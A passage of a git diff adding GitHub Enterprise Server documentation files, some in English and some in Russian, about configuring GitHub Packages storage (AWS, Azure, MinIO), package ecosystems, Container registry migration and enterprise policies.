destruction + +## Open source dependencies for {% data variables.product.product_name %} + +You can see a complete list of dependencies in your instance's version of {% data variables.product.product_name %}, as well as each project's license, at `http(s)://HOSTNAME/site/credits`. + +Tarballs with a full list of dependencies and associated metadata are available on your instance. + +- For dependencies common to all platforms, at `/usr/local/share/enterprise/dependencies--base.tar.gz` +- For dependencies specific to a platform, at `/usr/local/share/enterprise/dependencies--.tar.gz` + +Tarballs are also available, with a full list of dependencies and metadata, at `https://enterprise.github.com/releases//download.html`. + +## Further reading + +- "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server)" +- "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)" diff --git a/translations/ru-RU/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md b/translations/ru-RU/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md new file mode 100644 index 000000000000..c9c2c4b54ca8 --- /dev/null +++ b/translations/ru-RU/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md @@ -0,0 +1,54 @@ +--- +title: Configuring package ecosystem support for your enterprise +intro: 'You can configure {% data variables.product.prodname_registry %} for your enterprise by globally enabling or disabling individual package ecosystems on your enterprise, including {% ifversion ghes > 3.4 %}{% data variables.product.prodname_container_registry %}, {% endif %}Docker, and npm. Learn about other configuration requirements to support specific package ecosystems.' +redirect_from: + - /enterprise/admin/packages/configuring-packages-support-for-your-enterprise + - /admin/packages/configuring-packages-support-for-your-enterprise +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Packages +shortTitle: Configure package ecosystems +--- + +{% data reusables.package_registry.packages-ghes-release-stage %} + +## Enabling or disabling individual package ecosystems + +To prevent new packages from being uploaded, you can set an ecosystem you previously enabled to **Read-Only**, while still allowing existing packages to be downloaded. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_site_admin_settings.packages-tab %} +1. Under "Ecosystem Toggles", for each package type, select **Enabled**, **Read-Only**, or **Disabled**. + {%- ifversion ghes > 3.4 %}{% note -%} + **Note**: Subdomain isolation must be enabled to toggle the {% data variables.product.prodname_container_registry %} options. + {%- endnote %}{%- endif %}{%- ifversion ghes %} + ![Ecosystem toggles](/assets/images/enterprise/site-admin-settings/ecosystem-toggles.png){% else %} + ![Ecosystem toggles](/assets/images/enterprise/3.1/site-admin-settings/ecosystem-toggles.png){% endif %} +{% data reusables.enterprise_management_console.save-settings %} + +{% ifversion ghes %} +## Connecting to the official npm registry + +If you've enabled npm packages on your enterprise and want to allow access to the official npm registry as well as the {% data variables.product.prodname_registry %} npm registry, then you must perform some additional configuration. + +{% data variables.product.prodname_registry %} uses a transparent proxy for network traffic that connects to the official npm registry at `registry.npmjs.com`. The proxy is enabled by default and cannot be disabled. + +To allow network connections to the npm registry, you will need to configure network ACLs that allow {% data variables.product.prodname_ghe_server %} to send HTTPS traffic to `registry.npmjs.com` over port 443: + +| Source | Destination | Port | Type | +|---|---|---|---| +| {% data variables.product.prodname_ghe_server %} | `registry.npmjs.com` | TCP/443 | HTTPS | + +Note that connections to `registry.npmjs.com` traverse through the Cloudflare network, and subsequently do not connect to a single static IP address; instead, a connection is made to an IP address within the CIDR ranges listed here: https://www.cloudflare.com/ips/. + +If you wish to enable npm upstream sources, select `Enabled` for `npm upstreaming`. + +{% endif %} + +## Next steps + +As a next step, we recommend you check if you need to update or upload a TLS certificate for your packages host URL. For more information, see "[Getting started with GitHub Packages for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)." diff --git a/translations/ru-RU/content/admin/packages/enabling-github-packages-with-aws.md b/translations/ru-RU/content/admin/packages/enabling-github-packages-with-aws.md new file mode 100644 index 000000000000..a60407369d4d --- /dev/null +++ b/translations/ru-RU/content/admin/packages/enabling-github-packages-with-aws.md @@ -0,0 +1,61 @@ +--- +title: Enabling GitHub Packages with AWS +intro: 'Set up {% data variables.product.prodname_registry %} with AWS as your external storage.' +versions: + ghes: '*' +type: tutorial +topics: + - Administrator + - Enterprise + - Packages + - Packages +shortTitle: Enable Packages with AWS +--- + +{% warning %} + +**Warnings:** +- It is critical that you configure any restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible to the public internet. For more information, see "[Setting bucket and object access permissions](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/set-permissions.html)" in the AWS Documentation. +- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. +- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. + +{% endwarning %} + +## Prerequisites + +Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.location.product_location_enterprise %}, you need to prepare your AWS storage bucket. To prepare your AWS storage bucket, we recommend consulting the official AWS docs at [AWS Documentation](https://docs.aws.amazon.com/index.html). + +Ensure your AWS access key ID and secret have the following permissions: + - `s3:PutObject` + - `s3:GetObject` + - `s3:ListBucketMultipartUploads` + - `s3:ListMultipartUploadParts` + - `s3:AbortMultipartUpload` + - `s3:DeleteObject` + - `s3:ListBucket` + +## Enabling {% data variables.product.prodname_registry %} with AWS external storage + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_site_admin_settings.packages-tab %} +{% data reusables.package_registry.enable-enterprise-github-packages %} + +{% ifversion ghes %} +1. Under "Packages Storage", select **Amazon S3** and enter your storage bucket's details: + - **AWS Service URL:** The service URL for your bucket. For example, if your S3 bucket was created in the `us-west-2 region`, this value should be `https://s3.us-west-2.amazonaws.com`. + + For more information, see "[AWS service endpoints](https://docs.aws.amazon.com/general/latest/gr/rande.html)" in the AWS documentation. + + - **AWS S3 Bucket:** The name of your S3 bucket dedicated to {% data variables.product.prodname_registry %}. + - **AWS S3 Access Key** and **AWS S3 Secret Key**: The AWS access key ID and secret key to access your bucket. + + For more information on managing AWS access keys, see the "[AWS Identity and Access Management Documentation](https://docs.aws.amazon.com/iam/index.html)." + + ![Entry boxes for your S3 AWS bucket's details](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) +{% endif %} +{% data reusables.enterprise_management_console.save-settings %} + +## Next steps + +{% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/translations/ru-RU/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md b/translations/ru-RU/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md new file mode 100644 index 000000000000..a1a74dd1f480 --- /dev/null +++ b/translations/ru-RU/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md @@ -0,0 +1,47 @@ +--- +title: Enabling GitHub Packages with Azure Blob Storage +intro: 'Set up {% data variables.product.prodname_registry %} with Azure Blob Storage as your external storage.' +versions: + ghes: '*' +type: tutorial +topics: + - Enterprise + - Packages + - Storage +shortTitle: Enable Packages with Azure +--- + +{% warning %} + +**Warnings:** +- It is critical that you set the restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible on the public internet. +- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. +- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. + +{% endwarning %} + +## Prerequisites + +Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.location.product_location_enterprise %}, you need to prepare your Azure Blob storage bucket. To prepare your Azure Blob storage bucket, we recommend consulting the official Azure Blob storage docs at the official [Azure Blob Storage documentation site](https://docs.microsoft.com/en-us/azure/storage/blobs/). + +## Enabling {% data variables.product.prodname_registry %} with Azure Blob Storage + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_site_admin_settings.packages-tab %} +{% data reusables.package_registry.enable-enterprise-github-packages %} +1. Under "Packages Storage", select **Azure Blob Storage** and enter your Azure container name for your packages storage bucket and connection string. + ![Azure Blob storage container name and connection string boxes](/assets/images/help/package-registry/azure-blob-storage-settings.png) + + {% note %} + + **Note:** You can find your Azure Connection String by navigating to the Access Key menu in your Azure storage account. + Usage of a SAS Token or SAS URL as connection string is not currently supported. + + {% endnote %} + +{% data reusables.enterprise_management_console.save-settings %} + +## Next steps + +{% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/translations/ru-RU/content/admin/packages/enabling-github-packages-with-minio.md b/translations/ru-RU/content/admin/packages/enabling-github-packages-with-minio.md new file mode 100644 index 000000000000..0fa9b47390c1 --- /dev/null +++ b/translations/ru-RU/content/admin/packages/enabling-github-packages-with-minio.md @@ -0,0 +1,58 @@ +--- +title: Enabling GitHub Packages with MinIO +intro: 'Set up {% data variables.product.prodname_registry %} with MinIO as your external storage.' +versions: + ghes: '*' +type: tutorial +topics: + - Enterprise + - Packages + - Storage +shortTitle: Enable Packages with MinIO +--- + +{% warning %} + +**Warnings:** +- It is critical that you set the restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible on the public internet. +- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. +- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. + +{% endwarning %} + +## Prerequisites + +Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.location.product_location_enterprise %}, you need to prepare your MinIO storage bucket. To help you quickly set up a MinIO bucket and navigate MinIO's customization options, see the "[Quickstart for configuring your MinIO storage bucket for {% data variables.product.prodname_registry %}](/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages)." + +Ensure your MinIO external storage access key ID and secret have these permissions: + - `s3:PutObject` + - `s3:GetObject` + - `s3:ListBucketMultipartUploads` + - `s3:ListMultipartUploadParts` + - `s3:AbortMultipartUpload` + - `s3:DeleteObject` + - `s3:ListBucket` + +## Enabling {% data variables.product.prodname_registry %} with MinIO external storage + +Although MinIO does not currently appear in the user interface under "Package Storage", MinIO is still supported by {% data variables.product.prodname_registry %} on {% data variables.product.prodname_enterprise %}. Also, note that MinIO's object storage is compatible with the S3 API and you can enter MinIO's bucket details in place of AWS S3 details. + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_site_admin_settings.packages-tab %} +{% data reusables.package_registry.enable-enterprise-github-packages %} + +{% ifversion ghes %} +1. Under "Packages Storage", select **Amazon S3**. +1. Enter your MinIO storage bucket's details in the AWS storage settings. + - **AWS Service URL:** The hosting URL for your MinIO bucket. + - **AWS S3 Bucket:** The name of your S3-compatible MinIO bucket dedicated to {% data variables.product.prodname_registry %}. + - **AWS S3 Access Key** and **AWS S3 Secret Key**: Enter the MinIO access key ID and secret key to access your bucket. + + ![Entry boxes for your S3 AWS bucket's details](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) +{% endif %} +{% data reusables.enterprise_management_console.save-settings %} + +## Next steps + +{% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/translations/ru-RU/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md b/translations/ru-RU/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md new file mode 100644 index 000000000000..43a79f965370 --- /dev/null +++ b/translations/ru-RU/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md @@ -0,0 +1,52 @@ +--- +title: Getting started with GitHub Packages for your enterprise +shortTitle: Getting started with GitHub Packages +intro: 'You can start using {% data variables.product.prodname_registry %} on {% data variables.location.product_location %} by enabling the feature, configuring third-party storage, configuring the ecosystems you want to support, and updating your TLS certificate.' +redirect_from: + - /enterprise/admin/packages/enabling-github-packages-for-your-enterprise + - /admin/packages/enabling-github-packages-for-your-enterprise +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Packages +--- + + +{% data reusables.package_registry.packages-cluster-support %} + +## Step 1: Check whether {% data variables.product.prodname_registry %} is available for your enterprise + +{% data variables.product.prodname_registry %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_registry %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)." +## Step 2: Enable {% data variables.product.prodname_registry %} and configure external storage + +{% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %} uses external blob storage to store your packages. + +After enabling {% data variables.product.prodname_registry %} for {% data variables.location.product_location %}, you'll need to prepare your third-party storage bucket. The amount of storage required depends on your usage of {% data variables.product.prodname_registry %}, and the setup guidelines can vary by storage provider. + +Supported external storage providers +- Amazon Web Services (AWS) S3 {% ifversion ghes %} +- Azure Blob Storage {% endif %} +- MinIO + +To enable {% data variables.product.prodname_registry %} and configure third-party storage, see: + - "[Enabling GitHub Packages with AWS](/admin/packages/enabling-github-packages-with-aws)"{% ifversion ghes %} + - "[Enabling GitHub Packages with Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %} + - "[Enabling GitHub Packages with MinIO](/admin/packages/enabling-github-packages-with-minio)" + +## Step 3: Specify the package ecosystems to support on your instance + +Choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.location.product_location %}. Available options are {% ifversion ghes > 3.4 %}{% data variables.product.prodname_container_registry %}, {% endif %}Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet. For more information, see "[Configuring package ecosystem support for your enterprise](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)." + +## Step 4: Ensure you have a TLS certificate for your package host URL, if needed + +If subdomain isolation is enabled for {% data variables.location.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `{% data reusables.package_registry.container-registry-hostname %}`. Make sure each package host URL includes `https://`. + + You can create the certificate manually, or you can use _Let's Encrypt_. If you already use _Let's Encrypt_, you must request a new TLS certificate after enabling {% data variables.product.prodname_registry %}. For more information about package host URLs, see "[Enabling subdomain isolation](/enterprise/admin/configuration/enabling-subdomain-isolation)." For more information about uploading TLS certificates to {% data variables.product.product_name %}, see "[Configuring TLS](/enterprise/admin/configuration/configuring-tls)." + +## Step 5: Check for and rename reserved names + +If you want to use the Docker ecosystem with subdomain isolation disabled, you **must** first rename any user or organization named `v2` on {% data variables.location.product_location %}, prior to enabling Docker ecosystem support in the {% data variables.enterprise.management_console %}. Docker uses a `v2` account name to manage path conflicts with the Docker API, and once Docker registry support is enabled, you won't be able to use this name anymore. + +You can view a full list of logins reserved for internal use by navigating to the "Reserved logins" page in the Site admin dashboard. For more information, see "[Reserved logins](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#reserved-logins)." diff --git a/translations/ru-RU/content/admin/packages/index.md b/translations/ru-RU/content/admin/packages/index.md new file mode 100644 index 000000000000..2157f6a1e3b4 --- /dev/null +++ b/translations/ru-RU/content/admin/packages/index.md @@ -0,0 +1,26 @@ +--- +title: Управление GitHub Packages для предприятия +intro: 'Вы можете включить {% data variables.product.prodname_registry %} для предприятия и управлять параметрами {% data variables.product.prodname_registry %} и разрешенными упакованными типами.' +redirect_from: + - /enterprise/admin/packages +versions: + ghes: '*' +topics: + - Enterprise +children: + - /getting-started-with-github-packages-for-your-enterprise + - /enabling-github-packages-with-aws + - /enabling-github-packages-with-azure-blob-storage + - /enabling-github-packages-with-minio + - /quickstart-for-configuring-your-minio-storage-bucket-for-github-packages + - /configuring-package-ecosystem-support-for-your-enterprise + - /migrating-your-enterprise-to-the-container-registry-from-the-docker-registry +shortTitle: Manage GitHub Packages +ms.openlocfilehash: 257cd942e8f12c9a8c23883c9806fae43df1a8de +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147408982' +--- +{% data reusables.package_registry.packages-ghes-release-stage %} {% ifversion ghes %} {% endif %} diff --git a/translations/ru-RU/content/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry.md b/translations/ru-RU/content/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry.md new file mode 100644 index 000000000000..9a64fab4c698 --- /dev/null +++ b/translations/ru-RU/content/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry.md @@ -0,0 +1,77 @@ +--- +title: Migrating your enterprise to the Container registry from the Docker registry +intro: 'You can migrate Docker images previously stored in the Docker registry on {% data variables.location.product_location %} to the {% data variables.product.prodname_container_registry %}.' +product: '{% data reusables.gated-features.packages %}' +permissions: 'Enterprise owners can migrate Docker images to the {% data variables.product.prodname_container_registry %}.' +versions: + feature: docker-ghcr-enterprise-migration +shortTitle: Migrate to Container registry +topics: + - Containers + - Docker + - Migration +--- + +{% data reusables.package_registry.container-registry-ghes-beta %} + +## About the {% data variables.product.prodname_container_registry %} + +{% data reusables.package_registry.container-registry-benefits %} For more information, see "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." + +For more information about configuring {% data variables.product.prodname_registry %} for {% data variables.location.product_location %}, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)." + +## About migration from the Docker registry + +{% data reusables.package_registry.container-registry-replaces-docker-registry %} If the Docker registry on {% data variables.location.product_location %} contains images, you must manually migrate the images to the {% data variables.product.prodname_container_registry %}. + +{% ifversion ghes %} + +{% note %} + +**Note**: {% data reusables.package_registry.container-registry-ghes-migration-availability %} + +{% endnote %} + +{% endif %} + +{% data reusables.package_registry.container-registry-migration-namespaces %} For more information about the impact of migration to the {% data variables.product.prodname_container_registry %}, see "[Migrating to the {% data variables.product.prodname_container_registry %} from the Docker registry](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry#about-migration-from-the-docker-registry)." + +## Migrating organizations to the {% data variables.product.prodname_container_registry %} + +You can start a migration of all your organizations' Docker images to the {% data variables.product.prodname_container_registry %}. The duration of the migration operation depends on the total number of images to migrate, and the overall load on {% ifversion ghes %}your instance{% elsif ghae %}{% data variables.product.product_name %}{% endif %}. After a successful migration, {% data variables.product.product_name %} will display a summary, and all future uploads of Docker images will use the {% data variables.product.prodname_container_registry %}. + +If {% ifversion ghes %}a site administrator{% elsif ghae %}an enterprise owner{% endif %} has configured email notifications for {% data variables.location.product_location %}, you will receive an email after the migration is complete. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)." + +{% note %} + +**{% ifversion ghes %}Notes{% elsif ghae %}Note{% endif %}**: + +{%- ifversion ghes %} +- During the migration, the CPU and memory usage for your instance will increase. To ensure the performance of the instance for your users, {% data variables.product.company_short %} recommends that you begin a migration during a period of reduced activity. +{%- endif %} +{% ifversion ghes %}- {% endif %}During the migration, do not modify settings for your enterprise{% ifversion ghes %} or run `ghe-config-apply` from an administrative SSH session{% endif %}. {% ifversion ghes %}These actions will trigger a configuration run, which can restart services and {% elsif ghae %}Modifying these settings {% endif %} may interrupt the migration. +{%- ifversion ghes %} +- After the migration, storage pressure on your instance will increase due to the duplication of image files in the Docker registry and the {% data variables.product.prodname_container_registry %}. A future release of {% data variables.product.product_name %} will remove the duplicated files when all migrations are complete. + +For more information about monitoring the performance and storage of {% data variables.location.product_location %}, see "[Accessing the monitor dashboard](/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard)." +{% endif %} + +{% endnote %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +1. In the left sidebar, click **Packages**. +1. To the right of the number of packages to migrate, click **Start migration**. During the migration, {% data variables.product.product_name %} will display progress on this page. + +After the migration completes, the page will display the results. If a migration fails, the page will show the organizations that own the package that caused the failure. + +## Re-running a failed organization migration + +Prior to migration, if a user has created a package in the {% data variables.product.prodname_container_registry %} that has an identical name to an existing package in the Docker registry, the migration will fail. + +1. Delete the affected container in the {% data variables.product.prodname_container_registry %}. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package#deleting-a-version-of-an-organization-scoped-package-on-github)." +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.packages-tab %} +1. To the right of the number of packages to migrate, click **Re-run migration**. During the migration, {% data variables.product.product_name %} will display progress on this page. +1. If the migration fails again, start from step 1 and re-run the migration. diff --git a/translations/ru-RU/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md b/translations/ru-RU/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md new file mode 100644 index 000000000000..f5a7895e2704 --- /dev/null +++ b/translations/ru-RU/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md @@ -0,0 +1,128 @@ +--- +title: Краткое руководство по настройке контейнера хранилища MinIO для пакетов GitHub +intro: 'Настройте пользовательский контейнер хранилища MinIO для применения с {% data variables.product.prodname_registry %}.' +versions: + ghes: '*' +type: quick_start +topics: + - Packages + - Enterprise + - Storage +shortTitle: Quickstart for MinIO +ms.openlocfilehash: 2d26aa879b0a59d8c6bd4d80a04ec2aa30f8c422 +ms.sourcegitcommit: 8f1801040a84ca9353899a2d1e6782c702aaed0d +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/16/2022 +ms.locfileid: '148166556' +--- +{% data reusables.package_registry.packages-ghes-release-stage %} + +Прежде чем включить и настроить {% data variables.product.prodname_registry %} в {% data variables.location.product_location_enterprise %}, необходимо подготовить стороннее решение для хранения данных. + +MinIO предлагает хранилище объектов с поддержкой API S3 и {% data variables.product.prodname_registry %} на предприятии. + +В этом кратком руководстве показано, как настроить MinIO с помощью Docker для использования с {% data variables.product.prodname_registry %}, но у вас кроме Docker существуют другие варианты управления MinIO. Дополнительные сведения о MinIO см. официальные [документы MinIO](https://docs.min.io/). + +## 1. Выберите режим MinIO для ваших потребностей + +| Режим MinIO | Оптимизировано для | Требуемая инфраструктура хранилища | +|----|----|----| +| Автономная minIO (на одном узле) | Быстрая настройка | Н/Д | +| Кластерное MinIO (также называется распределенный MinIO)| Безопасность данных | Работающие в кластерах серверы серверов хранилищ | + +Дополнительные сведения о ваших параметрах см. в официальных [документах MinIO](https://docs.min.io/). + +## 2. Установка, запуск и вход в MinIO + +1. Настройте предпочитаемые переменные среды для MinIO. + + В этих примерах используется `MINIO_DIR`: + ```shell + $ export MINIO_DIR=$(pwd)/minio + $ mkdir -p $MINIO_DIR + ``` + +2. Установите MinIO. + + ```shell + $ docker pull minio/minio + ``` + Дополнительные сведения см. в официальном [руководстве по началу работы с MinIO](https://docs.min.io/docs/minio-quickstart-guide). + +3. Войдите в MinIO с помощью ключа доступа и секрета MinIO. + + {% linux %} + ```shell + $ export MINIO_ACCESS_KEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) + # this one is actually a secret, so careful + $ export MINIO_SECRET_KEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) + ``` + {% endlinux %} + + {% mac %} + ```shell + $ export MINIO_ACCESS_KEY=$(cat /dev/urandom | LC_CTYPE=C tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) + # this one is actually a secret, so careful + $ export MINIO_SECRET_KEY=$(cat /dev/urandom | LC_CTYPE=C tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) + ``` + {% endmac %} + + Доступ к ключам MinIO можно получить с помощью переменных среды: + + ```shell + $ echo $MINIO_ACCESS_KEY + $ echo $MINIO_SECRET_KEY + ``` + +4. Запустите MinIO в выбранном режиме. + + * Запустите MinIO с помощью Docker на одном узле: + + ```shell + $ docker run -p 9000:9000 \ + -v $MINIO_DIR:/data \ + -e "MINIO_ACCESS_KEY=$MINIO_ACCESS_KEY" \ + -e "MINIO_SECRET_KEY=$MINIO_SECRET_KEY" \ + minio/minio server /data + ``` + + Дополнительные сведения см. в [кратком руководстве по MinIO Docker](https://docs.min.io/docs/minio-docker-quickstart-guide.html). + + * Запустите MinIO с помощью Docker в качестве кластера. В этом развертывании MinIO используется несколько узлов и стирание кода MinIO для наиболее надежной защиты данных. Сведения о запуске MinIO в режиме кластера см. в статье [Краткое руководство по распределенной MinIO](https://docs.min.io/docs/distributed-minio-quickstart-guide.html). + +## 3. Создайте контейнер MinIO для {% data variables.product.prodname_registry %} + +1. Установите клиент MinIO. + + ```shell + $ docker pull minio/mc + ``` + +2. Создайте контейнер с URL-адресом узла, доступ к которому может получить доступ {% data variables.product.prodname_ghe_server %}. + + * Пример локальных развертываний: + + ```shell + $ export MC_HOST_minio="http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY} @localhost:9000" + $ docker run minio/mc BUCKET-NAME + ``` + + Этот пример можно использовать для автономной службы MinIO. + + * Пример кластерных развертываний: + + ```shell + $ export MC_HOST_minio="http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY} @minioclustername.example.com:9000" + $ docker run minio/mc mb packages + ``` + +## Дальнейшие действия + +Чтобы завершить настройку хранилища для {% data variables.product.prodname_registry %}, необходимо скопировать URL-адрес хранилища MinIO: + + ``` + echo "http://${MINIO_ACCESS_KEY}:${MINIO_SECRET_KEY}@minioclustername.example.com:9000" + ``` + +Дальнейшие действия см. в статье [Включение {% data variables.product.prodname_registry %} с MinIO](/admin/packages/enabling-github-packages-with-minio). diff --git a/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md new file mode 100644 index 000000000000..15cdbd65599b --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md @@ -0,0 +1,30 @@ +--- +title: About enterprise policies +intro: 'With enterprise policies, you can manage the policies for all the organizations owned by your enterprise.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: overview +topics: + - Enterprise + - Policies +--- + +To help you enforce business rules and regulatory compliance, policies provide a single point of management for all the organizations owned by an enterprise account. + +{% data reusables.enterprise.about-policies %} + +For example, with the "Base permissions" policy, you can allow organization owners to configure the "Base permissions" policy for their organization, or you can enforce a specific base permissions level, such as "Read", for all organizations within the enterprise. + +By default, no enterprise policies are enforced. To identify policies that should be enforced to meet the unique requirements of your business, we recommend reviewing all the available policies in your enterprise account, starting with repository management policies. For more information, see "[Enforcing repository management polices in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise)." + +While you're configuring enterprise policies, to help you understand the impact of changing each policy, you can view the current configurations for the organizations owned by your enterprise. + +{% ifversion ghes %} +Another way to enforce standards within your enterprise is to use pre-receive hooks, which are scripts that run on {% data variables.location.product_location %} to implement quality checks. For more information, see "[Enforcing policy with pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks)." +{% endif %} + +## Further reading + +- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)" diff --git a/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise.md b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise.md new file mode 100644 index 000000000000..65a8093c1431 --- /dev/null +++ b/translations/ru-RU/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise.md @@ -0,0 +1,89 @@ +--- +title: Enforcing policies for code security and analysis for your enterprise +intro: 'You can enforce policies to manage the use of {% ifversion security-feature-enablement-policies %}code security and analysis{% else %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features within your enterprise''s organizations.' +permissions: 'Enterprise owners can enforce {% ifversion security-feature-enablement-policies %}code security and analysis{% endif %} policies for {% data variables.product.prodname_GH_advanced_security %} in an enterprise.' +product: '{% data reusables.gated-features.ghas %}' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - Enterprise + - Policies + - Secret scanning + - Security +redirect_from: + - /admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise + - /github/setting-up-and-managing-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/setting-policies-for-organizations-in-your-enterprise-account/enforcing-policies-for-advanced-security-in-your-enterprise-account + - /admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise +shortTitle: Code security & analysis +--- +{% ifversion security-feature-enablement-policies %} +## About policies for code security and analysis in your enterprise + +You can enforce policies to manage the use of code security and analysis features within organizations owned by your enterprise. You can allow or disallow people with admin access to a repository to enable or disable the security and analysis features. +{% else %} +## About policies for {% data variables.product.prodname_GH_advanced_security %} in your enterprise +{% endif %} + +{% data reusables.advanced-security.ghas-helps-developers %} For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)." + +{% ifversion ghes or ghec %}If you purchase a license for {% data variables.product.prodname_GH_advanced_security %}, any{% else %}Any{% endif %} organization{% ifversion ghec %} owned by your enterprise{% endif %} on {% data variables.location.product_location %} can use 